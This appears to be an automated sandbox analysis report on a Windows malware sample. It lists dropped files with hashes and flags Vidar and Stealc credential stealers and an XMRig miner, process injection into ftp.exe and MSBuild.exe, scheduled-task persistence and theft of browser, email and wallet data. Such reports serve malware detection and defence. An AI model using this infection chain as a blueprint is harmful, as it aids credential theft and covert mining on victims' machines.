SHA512 461d9e809ede59c71cd7fd9aa90a8ad991c5c9504d5c9c53659604e7e0e25b02d2135fbc0b2c4ab0e4a60bd43c38fa1109559d5f19f58a387dbe8e03424230c8

C:\Users\Admin\AppData\Local\Temp\Talk

MD5 bb769ef1b8aa0b58d0b94c4804bcd418
SHA1 e6f4dc5a736038e5604e282046d1234ccabebf68
SHA256 ae766919ddefe1340cea9b4ae3acfc041e8d079baa7fcf7dca59dfa3330c2d59
SHA512 2d0e600f59a545b1d19f299a8b756bab334b02be8e9f6e1ff2d3f64c18362bcb60239b0786358023728be88c8e033219e9df500d30b3121921d356055c60bb05

C:\Users\Admin\AppData\Local\Temp\Pda

MD5 0766c0db71d9a82456e72ca071518676
SHA1 be36286b20cc0aeff00bdca079dfa9f4047e1ac0
SHA256 5553cf5ed1753ab9749bb7f3057f0db8cb9f19b8f673fa977b038ca0fef8b3d1
SHA512 032dad0b91b5482d5d1e558ba9e4dfea6f16c71725d21865f411f888fe631628f7a16a3e9fc367d88c02fde7f6ef7fd56a717c23feb45eb1ff5968605fb7fb77

C:\Users\Admin\AppData\Local\Temp\Roy

MD5 6310218145bc5ec965e5953fb0305d19
SHA1 b6043e6b47ea99b13efea5b2b7c523248379f6af
SHA256 ae7d0d86b3505a9c5c40bce3fd2554102e4f7d21aa5bdcc10451ce1019606629
SHA512 ae82e5721644c9f51852c5973dec9e250b83593b4079c7d3360e55700c75e43f9cac36de508654831c37e4d4ffdfcc8aabe8d681bcfd7a3a72d8d3f3df0fe6ec

C:\Users\Admin\AppData\Local\Temp\Atlanta

MD5 05bf6c32a8d3cb1025a4e8baca686fc5
SHA1 e32584b21803cf8bed34367c8e4f34ff6104d6c4
SHA256 61460bebb1a3ada4d197a869a8d9637eaf03656b32509e5a4606240d06ab3361
SHA512 c93b4c23daf481e9ebcb8d19d1381e3a7ab49b1708e0340a9455a11fc26b3209577cc831e7610d212a0e677b8f6217855038b1cf0b2379f397549b92cbf89b03

C:\Users\Admin\AppData\Local\Temp\Gis

MD5 e5e509038d8029cc95879ae96199093c
SHA1 18fceacd1cf5c57c6c2f1dc59a05906b740323a0
SHA256 bfa2b066ea73af4b0296b130a7c1927a4723864502ec646809aca415677844a6
SHA512 359d9dc6751abf5dbbede201409e77652f595f40148f987272aacb50e320c43562f93db179727d05120c7bb8edb45c3fb81c30aebc91422f33ca7c70466b34b1

C:\Users\Admin\AppData\Local\Temp\Russian

MD5 91be5c23d6db4ea3e47b0259475cdd4b
SHA1 07cee20085effe581fddb260a65473c130e88e21
SHA256 8e6d9c7c4069ed6ea1fa346238ce48cf4479df04d1871e874f8c31e8ffede898
SHA512 e4f536a4f9b60098abd7212f82cacf6d9729a89c207a74a7dfcf8b9069a64eb024d60f0d506c1a50726d60c267222d200a50a6cc3a31a06ea1ef9ab3fce887e3

C:\Users\Admin\AppData\Local\Temp\Wallpaper

MD5 98d91341d4e754f361bbedeb35242a36
SHA1 4718235cf9242f7250700af2a3411357d2a2525c
SHA256 42d670d3dd28bc4597b71a9373763029451d0da5efe1288c774f6b512fae9f0e
SHA512 1e877510d91e6f62790b7f15c7ffa00c31e18f24bc3ec72dcd63e9c2b0031817bbf87e1f9d3359f50dd25f1d6e53eeea61fc9331ebc58f88361fcd2353e32fa9

C:\Users\Admin\AppData\Local\Temp\Serving

MD5 d0fa08b94bca138551c4b274ade27a75
SHA1 acaa349e9d6f03d622c2f0280247a43fbc078f3a
SHA256 4e9de0fd78447786652a61ab8339253c2ec4c671d3a9dd956d3aca384a7ee4a1
SHA512 bc17fd7b4b79f96d7adbf35c96919c49ace59ac0e2807fb31e7e88871218b5f0ad6f9183087c451675c16f24a16ed278fa78b325a3b631068e2fee16b3a84622

C:\Users\Admin\AppData\Local\Temp\Pct

MD5 5021070dbffa36d9053699bee3f88806
SHA1 00ce3f117ffe45372c27af5f920ebacdeac92f93
SHA256 41757cf277d0f40e48e2bfc6d963db78308fdfe0b054f67685e2a6473e25327b
SHA512 628268ba6d7c30f1d03f84ff3955782ed23f426645fb8a914b83514f1de9ef23b5060f57e8c6f38dc8071adf063971f050989cab5eb2ef300072ccb58bd7183a

C:\Users\Admin\AppData\Local\Temp\Tomorrow

MD5 b348e7db88d0e52cfb6c7adb43628390
SHA1 5daa60ea78be614a992e88a60b655601cb45ebb6
SHA256 fa61763479671d7aa59798ccd20a2ae48102e24f2fdbc11e753c2141b3e0d135
SHA512 9d3018d203bad94e6a6efb2f5c5dfb55b14d5a6e1885cc60a34f0c647771cede2626e448f2fc194e3d17795c97ebb0bf283cb2a24a7db71f5e7fd15bdab01eff

C:\Users\Admin\AppData\Local\Temp\Word

MD5 ca2ac61ab298e06c4d8f07792708705c
SHA1 35547141d3593d89746a4de38e809388de7b224f
SHA256 cabef77014cb90d5e896c046830742852edb20adcd1da71f88f8f8805d476607
SHA512 c6f0fccfaa08ef6f4d17698eb07cf27fa116b94bab2a25afe392acb2fecb1fb9d58301288e80839dadf834245a614846d72d1243693b40a56d7be45745f90218

C:\Users\Admin\AppData\Local\Temp\Shaft

MD5 4a29dcfa87b47e37e8b4447b840ccd91
SHA1 cd56012f27e7ece5545b6b07172f8f0169a852f5
SHA256 dbf049319595a1a9faf8c8dbc70814c4562c4b9dd10f18e56b0cb83e37cdce5c
SHA512 79b69684e7a72eb7fa24f36745f42370acc6655e44fbbd93dda679ed676c010a38a530b3b210196b6962e36ca1756fedb4341f867bdeb2e86c6ded23b7dde91f

C:\Users\Admin\AppData\Local\Temp\Colleagues

MD5 8a6af62b964e899f2fdb5b08bb70fe1d
SHA1 74d97553398f4952fc7244db53a54c5c9418680b
SHA256 621b098f227833dd3d62d4b181bf751e76d9688237ae27ba4475947863775103
SHA512 be082ccae47ebb4bb28f9d9fc9ffb089e081ab95d41232be5bd998fdfcb6995816141e46289f7fb15acf890bc97ce77fb413c8a56424a411dcce03354d093186

C:\Users\Admin\AppData\Local\Temp\Isle

MD5 c7edd1b120ffd89a03bb13f43248c03f
SHA1 70cdf64d0b1f9ddeed567599ed2b4ea6c0fad204
SHA256 84e53bfccccd03c162214a5b47741945c029afd23ec7ca307f1a66bc292ff3f8
SHA512 9d760c5455f7daa4ee1aeb3070d33cc43ec933f843333ae9d89f15d62f3840939bb83ad39420bf3fc9f800c8dcdde3f39085e7fcdfbedeeb999382ac1f9e75e2

C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif

MD5 b06e67f9767e5023892d9698703ad098
SHA1 acc07666f4c1d4461d3e1c263cf6a194a8dd1544
SHA256 8498900e57a490404e7ec4d8159bee29aed5852ae88bd484141780eaadb727bb
SHA512 7972c78acebdd86c57d879c12cb407120155a24a52fda23ddb7d9e181dd59dac1eb74f327817adbc364d37c8dc704f8236f3539b4d3ee5a022814924a1616943

memory/3784-580-0x0000000000C00000-0x000000000134A000-memory.dmp

memory/3784-581-0x0000000000C00000-0x000000000134A000-memory.dmp

memory/3784-583-0x0000000000C00000-0x000000000134A000-memory.dmp

memory/3784-590-0x0000000000C00000-0x000000000134A000-memory.dmp

memory/3784-591-0x0000000000C00000-0x000000000134A000-memory.dmp

memory/3784-605-0x0000000000C00000-0x000000000134A000-memory.dmp

memory/3784-592-0x0000000061E00000-0x0000000061EF3000-memory.dmp

memory/3784-606-0x0000000000C00000-0x000000000134A000-memory.dmp

memory/3784-614-0x0000000000C00000-0x000000000134A000-memory.dmp

memory/3784-615-0x0000000000C00000-0x000000000134A000-memory.dmp

memory/3784-631-0x0000000000C00000-0x000000000134A000-memory.dmp

C:\ProgramData\IEHCAKKJDBKK\nss3.dll

MD5 1cc453cdf74f31e4d913ff9c10acdde2
SHA1 6e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256 ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512 dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

C:\ProgramData\IEHCAKKJDBKK\mozglue.dll

MD5 c8fd9be83bc728cc04beffafc2907fe9
SHA1 95ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512 fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

memory/3784-632-0x0000000000C00000-0x000000000134A000-memory.dmp

memory/3784-654-0x0000000000C00000-0x000000000134A000-memory.dmp

memory/3784-655-0x0000000000C00000-0x000000000134A000-memory.dmp

C:\ProgramData\GHJDBAKEHD.exe

MD5 6cfddd5ce9ca4bb209bd5d8c2cd80025
SHA1 424da82e9edbb6b39a979ab97d84239a1d67c48b
SHA256 376e1802b979514ba0e9c73933a8c6a09dd3f1d2a289f420c2202e64503d08a7
SHA512 d861130d87bfedc38a97019cba17724067f397e6ffe7e1384175db48c0a177a2e7e256c3c933d0f42766e8077f767d6d4dc8758200852e8ec135736daee7c0f8

memory/2112-678-0x0000000000720000-0x0000000000C33000-memory.dmp

C:\ProgramData\HDGDHCGCBK.exe

MD5 daaff76b0baf0a1f9cec253560c5db20
SHA1 0311cf0eeb4beddd2c69c6e97462595313a41e78
SHA256 5706c6f5421a6a34fdcb67e9c9e71283c8fc1c33499904519cbdc6a21e6b071c
SHA512 987ca2d67903c65ee1075c4a5250c85840aea26647b1d95a3e73a26dcad053bd4c31df4ca01d6cc0c196fa7e8e84ab63ed4a537f72fc0b1ee4ba09cdb549ddf3

memory/4600-689-0x0000000000F70000-0x00000000011B8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\d57d6241

MD5 c62f812e250409fbd3c78141984270f2
SHA1 9c7c70bb78aa0de4ccf0c2b5d87b37c8a40bd806
SHA256 d8617477c800cc10f9b52e90b885117a27266831fb5033647b6b6bd6025380a8
SHA512 7573ecac1725f395bbb1661f743d8ee6b029f357d3ef07d0d96ee4ff3548fe06fab105ee72be3e3964d2053de2f44245cca9a061d47c1411949840c84f6e9092

memory/4600-699-0x00000000720E0000-0x000000007225B000-memory.dmp

memory/4600-700-0x00007FF9685F0000-0x00007FF9687E5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\d6ae94e0

MD5 8d443e7cb87cacf0f589ce55599e008f
SHA1 c7ff0475a3978271e0a8417ac4a826089c083772
SHA256 e2aaaa1a0431aab1616e2b612e9b68448107e6ce71333f9c0ec1763023b72b2a
SHA512 c7d0ced6eb9e203d481d1dbdd5965278620c10cdc81c02da9c4f7f99f3f8c61dfe975cf48d4b93ccde9857edb881a77ebe9cd13ae7ef029285d770d767aa74a5

memory/2112-702-0x00000000720E0000-0x000000007225B000-memory.dmp

memory/2112-703-0x00007FF9685F0000-0x00007FF9687E5000-memory.dmp

memory/3784-707-0x0000000000C00000-0x000000000134A000-memory.dmp

memory/3784-708-0x0000000000C00000-0x000000000134A000-memory.dmp

memory/3784-709-0x0000000000C00000-0x000000000134A000-memory.dmp

memory/3784-710-0x0000000000C00000-0x000000000134A000-memory.dmp

memory/4600-711-0x00000000720E0000-0x000000007225B000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\d815cdcf

MD5 222aabe42a8faf3fa50a89454fbfe5e3
SHA1 c1db5bf0b2981a49fda0bd57d8c0dff55879ea86
SHA256 ba063bd4ea57f567fa0635fb19796c1994ab0c2d5fb8d368d51669afa11983d2
SHA512 e21388061c0313119fe056a6e6613b27159ad14881f55daf20c9707cf82c409efa96cb0c618beb7a118939e218bd946eea186bf98018b730d8c94759a477a527

memory/2112-714-0x00000000720E0000-0x000000007225B000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\d9a366df

MD5 3537295b755b5b8b3ea6a37fa56002f3
SHA1 b77195ce9af09036438c051f3cca49e2015d2b87
SHA256 a320ff5e62bcadf4640f75a565d5fdba1236aedf626bc7bd6193323e1bd74306
SHA512 d51e81aa260dbd4f8d55937d577de302b085cab880e720f14982ac0c507ad32d547e4a3a5c2090a93d2773ee8954f39fb07b110a91d8b8d1c3a4bfec03232324

memory/3508-725-0x00007FF9685F0000-0x00007FF9687E5000-memory.dmp

memory/3588-726-0x00007FF9685F0000-0x00007FF9687E5000-memory.dmp

memory/3508-727-0x00000000720E0000-0x000000007225B000-memory.dmp

C:\ProgramData\IEHCAKKJDBKK\VCRUNT~1.DLL

MD5 a37ee36b536409056a86f50e67777dd7
SHA1 1cafa159292aa736fc595fc04e16325b27cd6750
SHA256 8934aaeb65b6e6d253dfe72dea5d65856bd871e989d5d3a2a35edfe867bb4825
SHA512 3a7c260646315cf8c01f44b2ec60974017496bd0d80dd055c7e43b707cadba2d63aab5e0efd435670aa77886ed86368390d42c4017fc433c3c4b9d1c47d0f356

C:\ProgramData\IEHCAKKJDBKK\softokn3.dll

MD5 4e52d739c324db8225bd9ab2695f262f
SHA1 71c3da43dc5a0d2a1941e874a6d015a071783889
SHA256 74ebbac956e519e16923abdc5ab8912098a4f64e38ddcb2eae23969f306afe5a
SHA512 2d4168a69082a9192b9248f7331bd806c260478ff817567df54f997d7c3c7d640776131355401e4bdb9744e246c36d658cb24b18de67d8f23f10066e5fe445f6

C:\ProgramData\IEHCAKKJDBKK\msvcp140.dll

MD5 5ff1fca37c466d6723ec67be93b51442
SHA1 34cc4e158092083b13d67d6d2bc9e57b798a303b
SHA256 5136a49a682ac8d7f1ce71b211de8688fce42ed57210af087a8e2dbc8a934062
SHA512 4802ef62630c521d83a1d333969593fb00c9b38f82b4d07f70fbd21f495fea9b3f67676064573d2c71c42bc6f701992989742213501b16087bb6110e337c7546

memory/3508-742-0x00000000720E0000-0x000000007225B000-memory.dmp

memory/4544-745-0x00007FF9492D0000-0x00007FF94A947000-memory.dmp

memory/4616-749-0x00007FF9685F0000-0x00007FF9687E5000-memory.dmp

memory/4544-750-0x0000000000400000-0x000000000040A000-memory.dmp

memory/4616-753-0x0000000000AA0000-0x0000000000B11000-memory.dmp

memory/3364-755-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/3364-759-0x000001A0AAB60000-0x000001A0AAB80000-memory.dmp

memory/3364-758-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/3364-757-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/3364-764-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/3364-763-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/3364-762-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/3364-761-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/3364-760-0x0000000140000000-0x00000001407DC000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\66991e69

MD5 aeef1b5367de298993694cccb44df054
SHA1 e4f7ff184d287add74cad60c0dd1babfcd87b2f2
SHA256 c891d675667e3b450a22d24a0d7e5caa7853d5270c0fa1ed363ebc6cfdafcdbb
SHA512 fdf9d710e4bf39e95ad910e850725e67012c90db2f3180d60427798bbd46341854322b83da611f8f20a4d91bbea9094037ae75231d28af3012a917f3b876f36a

C:\Windows\Tasks\Watcher Com SH.job

MD5 da487a1d54241fc2e1eac814b1f12933
SHA1 a79fee0cd12b58c760b6bd3b2ec83e0b93d32463
SHA256 ee77fdc06c27d784b850c8b250f682d7d287252ad5369addb6affc14294785f5
SHA512 b43ecd8f609a1efcb35fcc4fa5cf4a036d32f606ea2f196ce89fd5fdaa4d0949727413b2c9c8d701c48856b5574205ad6fce1ece36fb5fc2cd15a9df764dea82

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MSBuild.exe.log

MD5 f26118d675c61402c218ac6794d90a63
SHA1 ffc8d592f3ca8255ca5119eff5b576eb16ac7fac
SHA256 d049789c187b2f58c900eab10205bc037740dca8640ab40c314790fefaab66ff
SHA512 6f14b71dae095131053a1b590e60ccec4e14c47c745bf9d52de48988d7b93b1f50bbb6bac0222dc49e3e45def052b20be2d34e116991027718da2e0fb8eb45d0

C:\Users\Admin\AppData\Local\Temp\63b7471a

MD5 eaccc36076c14d2872750d8153b31ca0
SHA1 70c2d46f86f208ad3eb52db819934fb88ef54374
SHA256 286e043f1dbe27fe866f009c7772d40efc688e02efbda297da829dbb889f9cbf
SHA512 552804f38ca1e53abbcb9c5c4b9b528830ffe694cd3f52187113946cf4ea194d7e1f3191ac229b4ffd55c456098989a1eebf8f2fcc8bb2c794a2fe18520b8682

Analysis: behavioral3

Detonation Overview

Submitted

2024-06-14 18:12

Reported

2024-06-14 18:34

Platform

win11-20240611-en

Max time kernel

963s

Max time network

967s

Command Line

C:\Windows\Explorer.EXE

Signatures

Detect Vidar Stealer

stealer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Stealc

stealer stealc

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 3704 created 3300 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Windows\Explorer.EXE

Vidar

stealer vidar

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\ProgramData\KKJJEBFCGD.exe N/A
N/A N/A C:\ProgramData\FCAKFCGCGI.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A

Reads data files stored by FTP clients

spyware stealer

Reads user/profile data of local email clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Checks installed software on the system

discovery

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3704 set thread context of 1968 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 3268 set thread context of 4744 N/A C:\ProgramData\KKJJEBFCGD.exe C:\Windows\SysWOW64\ftp.exe
PID 3008 set thread context of 2424 N/A C:\ProgramData\FCAKFCGCGI.exe C:\Windows\SysWOW64\ftp.exe
PID 2424 set thread context of 3124 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 3124 set thread context of 3516 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
PID 4856 set thread context of 4716 N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe C:\Windows\SysWOW64\ftp.exe
PID 4716 set thread context of 1700 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 4884 set thread context of 2296 N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe C:\Windows\SysWOW64\ftp.exe
PID 2296 set thread context of 912 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 1980 set thread context of 2540 N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe C:\Windows\SysWOW64\ftp.exe

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\TWI Cloud Host.job C:\Windows\SysWOW64\ftp.exe N/A
File created C:\Windows\Tasks\Watcher Com SH.job C:\Windows\SysWOW64\ftp.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\tasklist.exe N/A
N/A N/A C:\Windows\SysWOW64\tasklist.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\ProgramData\KKJJEBFCGD.exe N/A
N/A N/A C:\ProgramData\FCAKFCGCGI.exe N/A
N/A N/A C:\ProgramData\KKJJEBFCGD.exe N/A
N/A N/A C:\ProgramData\FCAKFCGCGI.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\ProgramData\KKJJEBFCGD.exe N/A
N/A N/A C:\ProgramData\FCAKFCGCGI.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4580 wrote to memory of 4380 N/A C:\Users\Admin\AppData\Local\Temp\Setup.exe C:\Windows\SysWOW64\cmd.exe
PID 4580 wrote to memory of 4380 N/A C:\Users\Admin\AppData\Local\Temp\Setup.exe C:\Windows\SysWOW64\cmd.exe
PID 4580 wrote to memory of 4380 N/A C:\Users\Admin\AppData\Local\Temp\Setup.exe C:\Windows\SysWOW64\cmd.exe
PID 4380 wrote to memory of 2180 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 4380 wrote to memory of 2180 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 4380 wrote to memory of 2180 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 4380 wrote to memory of 3144 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 4380 wrote to memory of 3144 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 4380 wrote to memory of 3144 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 4380 wrote to memory of 3352 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 4380 wrote to memory of 3352 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 4380 wrote to memory of 3352 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 4380 wrote to memory of 3160 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 4380 wrote to memory of 3160 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 4380 wrote to memory of 3160 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 4380 wrote to memory of 1020 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4380 wrote to memory of 1020 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4380 wrote to memory of 1020 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4380 wrote to memory of 4100 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 4380 wrote to memory of 4100 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 4380 wrote to memory of 4100 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 4380 wrote to memory of 3664 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4380 wrote to memory of 3664 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4380 wrote to memory of 3664 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4380 wrote to memory of 3704 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 4380 wrote to memory of 3704 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
